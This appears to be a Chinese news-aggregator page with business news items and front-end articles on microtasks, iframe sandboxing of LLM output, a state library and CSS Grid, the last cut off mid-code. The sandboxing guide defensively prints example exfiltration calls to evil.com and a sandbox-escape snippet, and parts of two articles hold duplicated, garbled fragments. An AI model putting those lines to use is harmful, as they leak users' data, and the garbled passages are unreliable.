普通视图

发现新文章,点击刷新页面。
今天 — 2026年3月15日首页

中国汽车流通协会40余家会员企业集体亮标准护消费

2026年3月15日 12:58
3・15国际消费者权益日来临之际,中国汽车流通协会发起了“标准护航·透明消费”特别行动,40余家二手车、零配件会员企业面向全社会公开服务标准与质量承诺,切实守护消费者合法权益。本次行动中公开的企业标准,覆盖二手车流通、鉴定评估、零配件批发零售等各服务环节,通过标准化建设实现服务品质的统一、规范、透明,共同推动行业高质量发展。 其中,二手车企业:承诺无重大事故、无泡水车,提供完整车辆历史报告;鉴定评估机构:承诺检测过程全程录像,鉴定结果客观公正;零配件商家:承诺原厂/品牌件可溯源,品质透明有保障等等。 中国汽车流通协会提醒广大消费者,可以一键查询企业公开的执行标准,轻松获取服务质量保障依据:1.登录“企业标准信息公共服务平台”;2.输入关注的企业名称;3.点击搜索即可查看标准详情。(界面)

Meta被曝计划裁员20%甚至更多

2026年3月15日 12:47
据路透社等媒体14日报道,美国科技巨头Meta正计划进行大规模裁员,裁员比例可能达到20%甚至更高。目的是节约成本,抵消巨额AI基础设施投入,并为AI辅助工作带来的效率提升做好准备。该公司宣布计划到2028年投入6000亿美元用于数据中心建设,同时斥资至少数十亿美元进行多项收购。为组建团队,Meta还向顶尖AI研究人员开出高达数亿美元的四年薪酬包。同时,公司对提升效率的要求也在一定程度上加速了裁员,公司首席执行官扎克伯格今年1月曾表示,他发现,过去需要大团队完成的项目,现在由一个非常有才华的人就能完成。这番言论似乎也为裁员埋下了伏笔。(e公司)

从一个 `console.log` 顺序翻车说起,聊聊微任务那些糟心事

2026年3月15日 12:46

从一个 console.log 顺序翻车说起,聊聊微任务那些糟心事

Promise.resolve().then(() => console.log('promise'))
queueMicrotask(() => console.log('microtask'))

const observer = new MutationObserver(() => console.log('mutation'))
const node = document.createTextNode('')
observer.observe(node, { characterData: true })
node.data = '1'

console.log('sync')

你猜输出啥?sync 先出来,没毛病,同步代码嘛。然后 promisemicrotaskmutation——这个等下再说,对吧?跑一下 Chrome。

没问题。

再跑一次。

sync
mutation
promise
microtask

坏了。MutationObserver 跑前面去了,你写代码的顺序根本不算数,入队时机才是爹。

同一个队列,不同的入队姿势

讲道理,我翻过不少事件循环的文章,十篇有八篇把 Promise.thenqueueMicrotaskMutationObserver 往"微任务"这个筐里一扔就完事了,说它们优先级一样。对吗?对。有用吗?没用。优先级一样但入队时机天差地别,最终谁先跑完全是另一码事。

queueMicrotask(fn) 最老实——你调用的那一瞬间 fn 就塞进微任务队列了,没有中间商赚差价,没有任何包装层,一步到位。Promise.resolve().then(fn) 差不多,因为这个 Promise 已经是 resolved 状态了,.then 执行的时候 fn 也是立刻入队,但它多走了一层 PromiseReactionJob 的内部机制,比 queueMicrotask 慢那么一丢丢。所以这俩的顺序基本就是你写代码的顺序,稳得一批。

MutationObserver 的话?不一样。

它的回调入队时机取决于浏览器把 DOM 变更"收集"完毕的时间点——浏览器会在同一个微任务检查点(microtask checkpoint)触发前,把这段时间内攒起来的所有 DOM 变更打包,然后才把 MutationObserver 的回调作为微任务丢进队列。就这个"攒"的动作,导致了时序上的不确定性,你没法拿看代码顺序来推断它什么时候入队(听起来很合理对吧,但是)。

// 这段的顺序是确定的
queueMicrotask(() => console.log('A'))  // 调用瞬间入队
Promise.resolve().then(() => console.log('B'))  // 也是立刻,但多了一层包装
// 永远 A → B

坦白说 V8 源码里 queueMicrotask 走的是 EnqueueMicrotask 这条更短的路径,而 Promise.then 要经过 NewPromiseReactionJobTask 再绕一圈才入队。别问我怎么知道的。

说到这里我自己都有点绕了。

这也解释了 Vue 的 nextTick 演变史:Vue 2 最早用 MutationObserver,时序不稳,后来换成 Promise.then,到 Vue 3 干脆用 queueMicrotask 打底。越直接越可控,就这么简单。

requestAnimationFrame 压根不是任务,它是渲染管线的一部分

这块是重灾区。

我见过无数事件循环示意图,把 rAF 画在宏任务和微任务旁边,搞一个所谓的"rAF 队列"。

来看一段会让你抓狂的代码:

document.querySelector('.box').style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  document.querySelector('.box').style.transform = 'translateX(100px)'
})

你以为会看到元素从 0px 平滑过渡到 100px 的动画?实际效果:元素直接出现在 100px 的位置,没有任何过渡。怎么回事?因为第一行的样式修改和 rAF 回调里的修改都在同一帧被处理了,浏览器把它们合并成一次渲染,中间根本没有产生过一帧"元素在 0px"的画面。

修复方案有两个。一是"双 rAF"技巧:

box.style.transform = 'translateX(0px)'

requestAnimationFrame(() => {
  // 第一个 rAF:确保 0px 这个值被渲染出去了
  requestAnimationFrame(() => {
    // 第二个 rAF:下一帧再改成 100px
    box.style.transform = 'translateX(100px)'
  })
})

二是用 getComputedStyle(box).transform 强制触发一次同步重排,逼浏览器把第一次修改"落地"。但这招有代价——同步布局计算在列表场景下会直接把帧率干到个位数,getComputedStyle 不是免费的午餐。

那浏览器事件循环一轮的真实顺序到底是啥?把渲染管线也画进来的话:

  1. 取一个宏任务跑完(setTimeout 回调、MessageChannel、用户点击事件之类的)
  2. 清空微任务队列,Promise.thenqueueMicrotaskMutationObserver 全在这一步
  3. 浏览器判断:需要渲染吗?不一定。屏幕 60Hz 的话大约 16.6ms 一帧,你要是 1ms 内连着跑了 10 个 setTimeout(fn, 0),大概率这 10 个宏任务全跑完了才渲染一次
  4. 如果要渲染——进入渲染阶段:跑 rAF 回调,算样式,跑布局,绘制,合成

反正大概是这么个意思。

注意第 3 步那个"不一定"。这就是为什么你不能拿 rAF 当"尽快执行"用,它的实际延迟可能比 setTimeout(fn, 0) 还大(听起来很合理对吧,但是)。React 的 scheduler 选了 MessageChannel 而不是 rAF,原因就在这——React 要的是"尽快切到下一个任务切片",不是"等到下一次渲染前"。

混在一起用的时候,地狱开始了

虚拟滚动列表。滚动事件触发后你要干三件事:算可视区域、改 DOM、等渲染完拿新 DOM 的高度。三步,三种调度策略。搞混一个直接白屏。

onScroll = (event) => {
  // 同步算可视范围,这步没争议
  const visibleRange = calcRange(event.scrollTop)

  // 微任务里批量更新 DOM——为什么?
  // 因为要赶在当前帧渲染前把 DOM 改好
  queueMicrotask(() => {
    updateDOM(visibleRange)

    // 等渲染完测量高度,用 rAF?
    // 坑来了
    requestAnimationFrame(() => {
      // rAF 跑在渲染阶段开头,布局还没算呢
      // 你拿到的高度是上一帧的

      requestAnimationFrame(() => {
        const heights = measureHeights()  // 这里才安全
      })
    })
  })
}

rAF 的回调跑在渲染流水线的最前面,在样式计算和布局之前,你在 rAF 里读 offsetHeight 之类的值,拿到的可能是旧的。又是双 rAF——第一个保证 DOM 更新进了渲染管线,第二个在下一帧拿上一帧的布局结果。

嗯,继续。

怎么说呢,这个调度模型其实一句话就能讲完:微任务在当前宏任务结束后渲染前清空,rAF 在渲染阶段开头跑,渲染整完后想做事没有原生 API,要么双 rAF 要么 ResizeObserver

但还有更绕的。rAF 回调里能不能产生微任务?能。

requestAnimationFrame(() => {
  console.log('rAF-1')
  queueMicrotask(() => console.log('micro-in-rAF'))
})

requestAnimationFrame(() => {
  console.log('rAF-2')
})
// 输出:rAF-1 → micro-in-rAF → rAF-2

每个 rAF 回调执行完后浏览器都会检查微任务队列并清空,跟宏任务结束后清空微任务是同一套逻辑——每个可执行上下文结束时都有一个 microtask checkpoint,rAF 回调也算一个可执行上下文,所以在 rAFqueueMicrotask 是安全的。

嗯,继续。

那在 rAF 回调里再调一次 requestAnimationFrame 注册的新回调会在当前帧跑吗?不会。规范写得很清楚:每帧开始时浏览器会对当前已注册的 rAF 回调列表做一次快照,只跑快照里的,执行期间新注册的推到下一帧。双 rAF 能保证跨帧不是 hack,是规范行为。

ResizeObserver 的调度时机更绕——卡在布局之后绘制之前,还可能触发二次 re-layout。够呛。这个回头单独写。

把 LLM 吐出来的组件扔进 `iframe` 跑:沙箱隔离这件事没你想的那么简单

2026年3月15日 12:46

把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单

dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上——你干过没?

干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div><style><script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。

早知道就老老实实做沙箱。

这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。

iframe sandbox:看起来一行属性就搞定,实际全是取舍

先说基础的。

<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制——不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:

<iframe
  sandbox="allow-scripts"
  srcdoc="..."
  style="width:100%;height:400px;border:none;"
></iframe>

就这一行。事情开始变复杂了。

allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocketlocalStorage 倒是默认禁用的,除非你加了 allow-same-origin

等等。千万别加这个。

allow-scripts + allow-same-origin:灾难组合

我踩过的最狠的坑就是这俩同时开。

这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:

// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为

完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了——但谁看 MDN 啊。别问。

所以第一条铁律:allow-scriptsallow-same-origin 永远不能同时出现。

不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStoragesessionStorageIndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大——你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。

怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:

sandbox 权限选择流程:

需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
         ↓
    需要提交表单吗?
    ├── 否 → 保持 allow-scripts
    └── 是 → allow-scripts allow-forms
              ↓
         需要弹窗(window.open)吗?
         ├── 否 → 到此为止
         └── 是 → 加 allow-popups
                   (但要想清楚,真的需要吗?)

 永远不加:allow-same-origin(和 allow-scripts 同时)
 永远不加:allow-top-navigation(防止跳转劫持)

光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。

CSP 怎么配才能把网络请求锁死

Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">

function wrapWithCSP(htmlFromLLM) {
  const csp = [
    "default-src 'none'",
    "script-src 'unsafe-inline'",
    "style-src 'unsafe-inline'",
    "img-src data: blob:",
  ].join('; ');

  return `
    <!DOCTYPE html>
    <html>
    <head>
      <meta http-equiv="Content-Security-Policy" content="${csp}">
    </head>
    <body>${htmlFromLLM}</body>
    </html>
  `;
}

看到 script-src 'unsafe-inline' 是不是慌了?

别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯……也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样——iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。

我也想过用 nonce 或者 sha256-hash 来限制。

坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src'none',所以效果一样。但我建议显式写上,代码即文档嘛:

const csp = [
  "default-src 'none'",
  "script-src 'unsafe-inline'",
  "style-src 'unsafe-inline'",
  "img-src data: blob:",
  "connect-src 'none'",  // 显式禁止 fetch/XHR/WebSocket
  "font-src 'none'",
].join('; ');

这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。

但事情没完。

AI 生成的代码要加载 CDN 上的库怎么办

这个场景我一开始压根没想到。

两条路。

第一条,白名单:

script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com

能用。

第二条路,也是我最后选的——在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc

LLM 输出的原始 HTML
        ↓
   预处理(父页面)
   ├── 扫描 <script src="...">
   ├── 下载脚本内容(白名单校验 URL)
   ├── 转为 <script>内联代码</script>
   └── 扫描 <link href="..."> 同理处理
        ↓
   组装 srcdoc(注入 CSP meta)
        ↓
   塞进 <iframe sandbox="allow-scripts">

CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。

反正大概是这么个意思。

这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法——有 type="module" 的、有 async 的、有 defer 的、还有写在 <head><body> 不同位置的——就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。

写到这里突然觉得之前说的不太对。

还有个容易忽略的点。<style> 里面的 @import url(...)background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。

错误边界:AI 生成的代码炸了怎么办

重要。但不复杂。

AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了——访问 undefined 的属性、死循环、内存爆了。啥都可能。

好吧这个问题比我想的复杂。

iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。

我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:

<script>
window.addEventListener('error', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.message,
    filename: e.filename,
    lineno: e.lineno
  }, '*');
});

window.addEventListener('unhandledrejection', function(e) {
  parent.postMessage({
    type: '__sandbox_error__',
    message: e.reason?.message || String(e.reason)
  }, '*');
});

// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
  parent.postMessage({
    type: '__sandbox_timeout__',
    message: 'Render timeout after 5000ms'
  }, '*');
}, 5000);

window.__notifyRenderComplete = function() {
  clearTimeout(__renderTimer);
  parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>

父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:

const iframeRef = useRef(null);

useEffect(() => {
  function handleMessage(event) {
    if (event.source !== iframeRef.current?.contentWindow) return;

    switch (event.data?.type) {
      case '__sandbox_error__':
        setError(event.data.message);
        break;
      case '__sandbox_timeout__':
        setError('组件渲染超时');
        break;
      case '__sandbox_ready__':
        setLoading(false);
        break;
    }
  }
  window.addEventListener('message', handleMessage);
  return () => window.removeEventListener('message', handleMessage);
}, []);

跑起来还行。

但有个问题始终没完美解决。死循环。

while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器——5 秒内没收到 __sandbox_ready__ 就认为挂了:

useEffect(() => {
  if (!loading) return;
  const timer = setTimeout(() => {
    setError('渲染超时,可能存在死循环');
    if (iframeRef.current) {
      iframeRef.current.srcdoc = '';
    }
  }, 5000);
  return () => clearTimeout(timer);
}, [loading]);

srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。

还有一类错误比较棘手。

try { localStorage } catch(e) {
  window.localStorage = {
    getItem: () => null,
    setItem: () => {},
    removeItem: () => {},
    clear: () => {},
    length: 0
  };
}

粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化——mock 之后它就走内存 fallback 了,比如 zustandpersist 中间件就是这个逻辑。

父子通信和动态尺寸

快速过。

iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。

new ResizeObserver(entries => {
  const height = entries[0].target.scrollHeight;
  parent.postMessage({
    type: '__sandbox_resize__',
    height: height
  }, '*');
}).observe(document.body);

父页面收到消息后更新 iframe 的 style.heightResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。

父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行——postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。

如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:

iframe → 父页面:  { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
                          ↓
                  校验 method 白名单 → 执行 → 拿到结果
                          ↓
父页面 → iframe:  { type: 'rpc_result', id: 'abc', result: ... }
                          ↓
                  iframe 侧 resolve 对应 Promise

二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history

最后一个不大不小的坑。

srcdoc 的内容如果包含 </script> 这个字符串——哪怕是嵌在 JS 的字符串字面量里——浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。


这套方案跑了差不多半年。扛住了各种离谱的 AI 输出——有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。

说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。

美宜佳总部回应多地门店卖假烟:已对全国4万家门店“拉网式”排查

2026年3月15日 12:33
3月14日,据广东网络广播电视台立财经报道,大量网友反映在美宜佳便利店买到了“假烟”。美宜家总部客服告诉记者,总部已经在积极跟进此事,“目前的话已经在对全国4万家门店进行“拉网式”排查,如果发现有问题的门店会立即停业处理。”针对于被曝售卖假烟的门店,客服表示,“我们公司对这种售假行为零容忍严处罚,如果情况属实我们会从严追责,终止合作,后续也会进一步强化监管,严守合规经营底线。”(界面)

市场监管总局:2025年为消费者挽回经济损失43.5亿元

2026年3月15日 12:24
据市场监管总局消息,2025年,全国市场监管部门通过全国12315平台、电话等渠道共受理消费者投诉、举报和咨询4386.6万件(投诉举报2646万件,同比增长9.8%),其中投诉2036.6万件,同比增长9.3%;举报609.4万件,同比增长11.4%;咨询1740.6万件,为消费者挽回经济损失43.5亿元,有力保护了消费者合法权益。(e公司)

黄金租赁变高利贷年利率超10倍

2026年3月15日 12:01
近日,一些平台通过“租赁”或分期购买手机、黄金等实物,变相开展“高利贷”。一名黄金租赁平台服务商向记者表示,只需投入3-5万元加盟费,便可获得超1000%的年收益,其目标客户直指有稳定流水的个体商户、外卖员等,甚至"以贷养贷"人群。该服务商透露,平台可对接公证处,在支付公证部门抽成20%后,能为手机、黄金、汽车等相关合同办理“赋强公证”。所谓“赋强公证”,是指赋予强制执行效力的法律文书,赋强公证一旦做出,即具有法律效力。服务商表示,有了公证书后,违约不需要去法院起诉,可直接出强制执行书。(新浪财经)

于东来最新回应胖东来“40亿资产分配”

2026年3月15日 11:55
3月14日,胖东来创始人于东来在社交平台发文,对胖东来“40亿元资产分配”一事进行说明。 声明称,“40亿资产分配”其实沿用了胖东来已经持续二十多年的分配体制,因为近期要建梦之城门店,所以把资产转化为股本,“避免未来出现财务分配问题,目的是让企业明明白白地安全经营和发展”。 于东来还提到,自己在分配中占比5%左右(约2亿元人民币)。 此外,于东来表示,网络上经常有个别人故意扭曲事实、含沙射影地制造社会矛盾,制造零元购等歪曲事实的造谣现象,“严重的我们会走法律途径,避免给社会造成更严重的负面影响。”(界面)

工业级AI视频厂商再融资,掌握120TB独家数据,营收破亿 | 硬氪首发

2026年3月15日 11:53

作者 | 乔钰杰

编辑 | 袁斯来

硬氪获悉,重庆达瓦合志影像科技有限公司(下称“达瓦科技”)宣布完成近亿元的新一轮融资。本轮融资由一村资本、宝捷会创新基金领投,老股东启赋资本、重庆永川国资平台持续跟投。

达瓦科技成立于2023年,总部位于重庆,是国内首个实现商业化闭环的专业级AI内容创作平台,并打通“生产+交易+履约”全链条的视频AI生态。2025年,达瓦科技营收突破亿元,三年复合增长率近300%,AI平台实现规模化收入。

达瓦科技的核心壁垒,建立在极其稀缺的120TB独家影视级结构化数据集之上。这套数据集包含镜头级、光学级、表演级等300多种标注要素,颗粒度精确到场景级。与依赖公开成片结果的通用模型不同,达瓦科技的数据源自200多个头部商业项目的真实拍摄过程。

创始人卢琪向硬氪介绍,传统数据集往往只有“输入文本-输出视频”的简单映射,而达瓦科技的数据包含了能教会AI“如何做出好内容”的深度决策信息。

“创作结果只能教会AI模仿,创作过程才能教会AI思考和判断。公开数据只包含‘好结果’,而达瓦科技的数据包含废案、妥协方案和导演批注。这些‘负样本’对AI理解商业取舍逻辑以及角色也是核心要素。”卢琪介绍称。

在专业视频领域,封装能力的重要性已超越模型能力本身。针对通用模型指令模糊、结果不稳定以及不理解专业黑话等痛点,达瓦科技构建了中间层的专业化封装能力,包含七维质量评估体系、影视行业知识图谱和经典分镜逻辑等,通过将行业know-how注入模型,让AI能够理解“好视频”的标准,确保输出内容符合商业需求。

公司旗下的FilmOS内容工业AI平台,能把一个创意需求,直接转化成包含分镜、AI素材、预算和拍摄计划的完整执行方案。同时,团队可以在共享空间里和多个AI助手协同工作,让AI参与全流程创意决策。此外,每一次协作的过程都会被记录下来,逐渐沉淀成团队自己的创作风格和方法。

市场方面,目前在大预算影视工业市场,FilmOS能将项目前期筹备周期从4-6周缩短至3-5天,预算精确度提升60%,显著降低超支风险,并利用AI提高推荐供应商的匹配度。而在中规模内容生产市场,达瓦科技的AI自动化生产流程能够将短剧的单部制作成本降低40%,在保证稳定内容产出的基础上显著缩短制作周期。

达瓦科技运营的永川科技片场,是国内使用率超过90%的高质量虚拟拍摄影棚。它不仅是影视制作的生产设施,也是达瓦科技持续吸引客户、积累数据的“数据工厂”。片场产生的包括导演决策逻辑、摄影师运镜技巧、制片人管控经验等“黄金数据”会再次进入FilmOS平台,经过清洗标注后成为训练模型的新燃料,形成自我强化的“数据飞轮”。

值得注意的是,达瓦科技自定位于“产业路由器”而非单纯的SaaS工具,这一定位源于其深度连接了产业链上的关键节点。作为国家级数字资产基础设施运营方,公司参与了4项国家标准的制定,深度绑定160多家生态企业、数千家注册导演和演员以及三万多家制作供应商,构筑了较强的生态壁垒。

本轮融资后,达瓦科技将继续迭代300亿参数的专业视频垂直AI模型,并加速FilmOS在专业内容创作领域的商业化应用。

多家脑机接口研究中心落地上海

2026年3月15日 11:50
《科创板日报》记者从首届上海蓝生脑科学与脑机接口国际论坛上获悉,多家脑机接口研究中心落地上海。京津冀国家技术创新中心上海蓝生脑科学与脑机系统创新研究中心”正式揭牌,该中心将依托京津冀国家技术创新中心的技术资源和上海蓝生脑科的临床优势,促进人工智能技术与脑科临床研究的融合发展,方向是产出突破性进展和颠覆性成果。此外,中国科学院深圳先进技术研究院-上海蓝生脑科“脑机工程与AI基础与临床研究创新联合体”、同济大学附属天佑医院-银河脑(北京)医疗有限公司“全国神经调控精准靶点治疗示范中心”相继揭牌。前者致力于开展脑机接口、神经调控等核心技术攻关;后者将建立神经调控质量规范,推广精准诊疗技术。(财联社)

easy-model:简化领域驱动开发的理想选择

作者 张一凡93
2026年3月15日 11:49

在现代前端开发中,领域驱动设计(DDD)正成为越来越多项目的首选。easy-model 框架以其独特的模型驱动架构,为开发者提供了便捷的 DDD 实现途径。本文将重点介绍 easy-model 如何助力领域驱动开发、提升可测试性,并保持简单易用。

领域驱动开发的便捷实现

easy-model 的核心在于模型类封装。每个模型类代表一个业务领域,内部封装状态和逻辑,避免了传统状态管理的分散。这种设计让业务逻辑集中,易于理解和维护,完美契合 DDD 的理念。

import { useModel } from "easy-model";

class UserDomain {
  user = { id: "", name: "", email: "" };
  constructor(initialUser = { id: "", name: "", email: "" }) {
    this.user = initialUser;
  }

  updateUser(newUser: typeof this.user) {
    this.user = { ...this.user, ...newUser };
  }

  validateEmail() {
    return this.user.email.includes("@");
  }
}

function UserComponent() {
  const userDomain = useModel(UserDomain, [{ id: "1", name: "张三", email: "zhangsan@example.com" }]);

  return (
    <div>
      <h2>{userDomain.user.name}</h2>
      <p>邮箱有效: {userDomain.validateEmail() ? "是" : "否"}</p>
      <button onClick={() => userDomain.updateUser({ name: "李四" })}>
        更新姓名
      </button>
    </div>
  );
}

通过 useModel,组件直接创建并订阅模型实例。模型类的方法封装业务逻辑,如验证和更新,确保领域知识内聚。相比 Redux 的 action/reducer 分离,easy-model 更贴近 OOP 思维。

卓越的可测试性

模型类作为纯逻辑单元,便于单元测试,无需复杂 mocking。

import { describe, it, expect } from "vitest";
import { provide } from "@e7w/easy-model";

describe("UserDomain", () => {
  it("should validate email correctly", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Test",
      email: "test@example.com",
    });
    expect(model.validateEmail()).toBe(true);

    model.updateUser({ email: "invalid" });
    expect(model.validateEmail()).toBe(false);
  });

  it("should update user", () => {
    const model = provide(UserDomain)({
      id: "1",
      name: "Old",
      email: "old@example.com",
    });
    model.updateUser({ name: "New" });
    expect(model.user.name).toBe("New");
  });
});

框架的实例缓存机制(provide)允许按参数分组,确保测试隔离。依赖注入通过 inject 装饰器和容器配置,支持 mock 替换,提升集成测试效率。

简单易用的开发体验

easy-model 摒弃复杂配置,安装即用。严格 TypeScript 模式确保类型安全,无需担心运行时错误。API 设计简洁,仅需几个钩子即可上手。

React 集成无缝:

import { useModel, useWatcher } from "easy-model";

function CounterComponent() {
  const counter = useModel(CounterModel, [0, "计数器"]);

  useWatcher(counter, (keys, prev, next) => {
    console.log(`字段 ${keys.join(".")}${prev} 变为 ${next}`);
  });

  return (
    <div>
      <h2>{counter.label}</h2>
      <div>{counter.count}</div>
      <button onClick={() => counter.decrement()}>-</button>
      <button onClick={() => counter.increment()}>+</button>
    </div>
  );
}

异步操作使用 @loader.load 装饰器,useLoader 钩子查询状态,简化加载处理。@offWatch 优化性能,避免不必要的监听。跨组件共享通过 provideuseInstance 实现。

性能与扩展性

easy-model 使用 Proxy 实现深层变更监听,支持嵌套对象和引用关系变化。watch 函数允许非 React 环境监听,useWatcher 处理组件副作用。IoC 容器支持 namespace 隔离,便于大型应用管理。

相比 Redux/MobX,easy-model 减少 boilerplate,提升开发效率。Benchmark 示例显示其在性能上具备竞争力。

总结

easy-model 以模型为中心,完美支持领域驱动开发。其类封装设计提升可测试性,简洁 API 保证易用性。无论是小型项目还是复杂应用,都能显著提升开发效率。

立即试用 easy-model,体验更优雅的前端开发!项目地址:GitHub

三亚发布购房风险提示:加强防范房地产自媒体虚假不实宣传

2026年3月15日 11:44
三亚市自然资源和规划局发布《关于加强防范房地产自媒体虚假不实宣传的购房风险提示》。文件指出,当前,部分房地产自媒体通过微信公众号、抖音等网络社交平台发出的关于亚龙湾玫瑰谷玫瑰四季项目的销售宣传信息,与我局对该项目的规划审批情况存在出入,混淆房屋规划用途,误导购房群众。

Grid 网格布局:二维世界的布局王者,像下围棋一样掌控页面

作者 kyriewen
2026年3月15日 11:22

如果说Flexbox是“一维战神”,擅长排排坐,那Grid就是“二维霸主”,能同时操控行和列。今天我们就来下这盘“布局围棋”,用网格思想彻底重构网页,让复杂布局变得像填格子一样简单。

前言

还记得小时候玩的方格本吗?一行一行,一列一列,规规矩矩。Grid布局就是把这种“方格本”思维带到了CSS里。你可以在页面上画出任意行、任意列,然后把元素放进去,想放哪格放哪格,甚至可以合并单元格——就像Excel表格,但比Excel灵活一万倍。

Grid是CSS布局的终极武器,尤其适合做页面整体架构、卡片墙、仪表盘这类需要同时控制行和列的场景。如果说Flexbox是特种兵,擅长单兵作战,那Grid就是指挥官,能调动千军万马。

一、Grid的核心概念:容器与项目,行与列

和Flexbox类似,Grid也是作用于父容器和直接子项目。只要在父元素上设置display: griddisplay: inline-grid,你就开启了一个网格世界。

.container {
  display: grid;
}

默认情况下,网格只有一列,行高由内容决定。要真正“画”出网格,你需要用grid-template-rowsgrid-template-columns定义行和列。

二、定义网格:画出你的棋盘

1. 固定行高和列宽

你可以用各种单位定义行列的尺寸,比如像素、百分比、em等。

.container {
  display: grid;
  grid-template-columns: 200px 200px 200px;  /* 三列,每列200px */
